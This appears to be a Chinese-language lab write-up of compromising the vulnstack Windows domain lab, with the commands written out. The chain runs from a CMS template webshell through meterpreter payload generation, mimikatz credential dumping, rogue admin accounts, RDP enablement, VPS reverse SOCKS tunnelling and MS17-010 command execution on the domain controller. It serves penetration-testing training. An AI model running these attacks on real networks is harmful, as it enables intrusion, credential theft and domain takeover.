环境搭建
下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
将三个虚拟机启动起来
除了windows 7那个主机，其他都只设置成仅主机模式
windows 7添加两个网卡，一个是仅主机，一个是NAT
然后在windows7上开启phpstudy，报错就重启
渗透流程
目标是拿下域控
外网渗透
在主页发现了后台密码的泄露
进入后台后，在修改模板的地方写一句话木马
测试一下这个马是否在主页触发
然后使用蚁剑连接http://192.168.161.129/yxcms/即可
内网渗透
信息搜集
net user /domain 查看域用户信息
发现存在其他用户，而且有krbtgt，所以猜测存在kerberos
net group "Domain Controllers" /domain 查找域控制器
ping OWA.god.org 定位域控ip
得到域控ip为192.168.52.138
net group "domain admins" /domain # 查看域管理员的名字net group "domain computers" /domain # 查看域中的其他主机名
netstat -ano | findstr "3389" 查看是否开启rdp端口
如果没有开启的话，就用以下命令开启
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
然后添加一个用户并加入管理员组
net user v2i 123456@qwe /add
net localgroup administrators v2i /add
然后尝试使用rdp登录win7，在kali上使用remmina
但是发现连接不是，可能是被墙了
上线meterpreter
试试上线meterpreter，这里使用bind_tcp
我不知道为什么reverse_tcp一直上线不了。。。。。cs都能上的
msf6 exploit(multi/handler) > use payload windows/x64/meterpreter_bind_tcp
msf6 payload(windows/x64/meterpreter_bind_tcp) > generate -f exe -o bind.exe
msf6 payload(windows/x64/meterpreter_bind_tcp) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) >
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter_bind_tcp
payload => windows/x64/meterpreter_bind_tcp
msf6 exploit(multi/handler) > set RHOST 192.168.161.129
RHOST => 192.168.161.129
msf6 exploit(multi/handler) > run
将bind.exe通过蚁剑上传到目标主机，执行这个文件，就可以上线meterpreter
因为是administrator用户，所以很容易提权到system
然后使用 run post/windows/manage/enable_rdp来打开rdp服务
使用rdesktop连接【不知道为什么remmina连不了】
然后上传mimikaz.exe
meterpreter > upload /home/kali/Desktop/thm_tmp/mimikatz.exe
[*] uploading : /home/kali/Desktop/thm_tmp/mimikatz.exe -> mimikatz.exe
[*] Uploaded 1.29 MiB of 1.29 MiB (100.0%): /home/kali/Desktop/thm_tmp/mimikatz.exe -> mimikatz.exe
[*] uploaded : /home/kali/Desktop/thm_tmp/mimikatz.exe -> mimikatz.exe
使用shell，执行chcp 65001消除乱码
在mimikat.exe执行以下命令，来获得管理员的密码
privilege::debug #获取debug特权
sekurlsa::logonpasswords full #导出用户凭证
得到域管理员明文密码:hongrisex@2023
继续探察内网存活主机，这里使用icmp来进行探察
横向渗透
ipconfig后发现内网ip为192.168.52.143
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
但是不太理想，所以就上传fscan进行扫描
fscan64.exe -h 192.168.52.0/24[+] 192.168.52.141 MS17-010 (Windows Server 2003 3790)
[*] NetBios: 192.168.52.138 [+]DC owa.god.org Windows Server 2008 R2 Datacenter 7601 Service Pack 1

[*] WebTitle: http://192.168.52.141:8099 code:403 len:1409 title:The page must be viewed over a secure channel
[+] ftp://192.168.52.141:21:anonymous
[*] WebTitle: http://192.168.52.143 code:200 len:14749 title:phpStudy 探针 2014
发现另外两个内网主机
192.168.52.141,192.168.52.138
且192.168.52.141存在ms17-010
因为在内网，所以使用meterpreter设置一下路由转发
meterpreter > run autoroute -s 192.168.52.0/24[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 192.168.52.0/255.255.255.0...
[+] Added route to 192.168.52.0/255.255.255.0 via 192.168.161.129
[*] Use the -p option to list all active routes
meterpreter > run autoroute -p[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]Active Routing Table
====================Subnet Netmask Gateway------ ------- -------192.168.52.0 255.255.255.0 Session 1
然后使用auxiliary/admin/smb/ms17_010_command 模块进行命令执行
msf6 auxiliary(admin/smb/ms17_010_command) > set RHOSTS 192.168.52.141
RHOSTS => 192.168.52.141
msf6 auxiliary(admin/smb/ms17_010_command) > set command whoami
command => whoami
msf6 auxiliary(admin/smb/ms17_010_command) > run[*] 192.168.52.141:445 - Target OS: Windows Server 2003 3790

[*] Auxiliary module execution completed
然后可以添加账户，进行连接，但是我觉得没有必要，因为我们已经有了域管理员的密码，所以可以直接远程登录
但是需要开启rdp服务
set command REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
接下来就需要使用代理转发，来登录远程桌面了
代理转发
因为目标机器存在内网，无法直接连接，所以要进行代理转发
这里使用ew
vps上
./ew_for_linux64 -s rcsocks -l 9998 -e 9999
已控内网主机上
ew_for_win_32.exe -s rssocks -d vpsip -e 9999
kali etc/proxychains4.conf
就相当于是vps监听9998，并把流量发送给9999端口，然后已控内网主机接受vps的9999端口的流量
登录192.168.52.141
kali上执行以下命令，查看3389端口是否开启
proxychains4 nmap -p 3389 192.168.52.143 -sT -Pn #socks协议不支持icmp，所以使用-Pn禁用ping
然后登录远程桌面，用上面得到的域管理员密码
proxychains4 rdesktop 192.168.52.141
登录了之后，就可以收集一些命令和添加一个用户
#添加用户并加入本地管理员组
net user <username> <password> /add
net localgroup administrators <username> /add
拿下域控
域控的ip为192.168.52.138
查看他的3389端口是否开启，去用rdp远程登录
可惜是关着的
但是发现445端口是开着的，而且通过fscan扫描是存在ms17-010的
然后使用模块admin/smb/ms17_010_command直接打，发现可以成功，前提是需要设置路由转发
msf6 auxiliary(admin/smb/ms17_010_command) > set RHOSTS 192.168.52.138
RHOSTS => 192.168.52.138
msf6 auxiliary(admin/smb/ms17_010_command) > set command whoami
command => whoami
msf6 auxiliary(admin/smb/ms17_010_command) > run[*] 192.168.52.138:445 - Target OS: Windows Server 2008 R2 Datacenter 7601 Service Pack 1

[*] Auxiliary module execution completed然后就是开启rdp服务
set command REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
并开放防火墙3389端口
set command netsh advfirewall firewall add rule name=\"Remote Desktop\" protocol=TCP dir=in localport=3389 action=allow
然后使用rdp登录，这样要记得登录的是god域
拿下！
总结
这个靶场的流程，就是
- 外网渗透拿到主机shell
- 扫描内网存活主机，并查看是否存在历史漏洞
- 使用内网代理和路由转发来对内网主机进行攻击
应该还有很多思路，这个是比较简单的靶场，继续加油
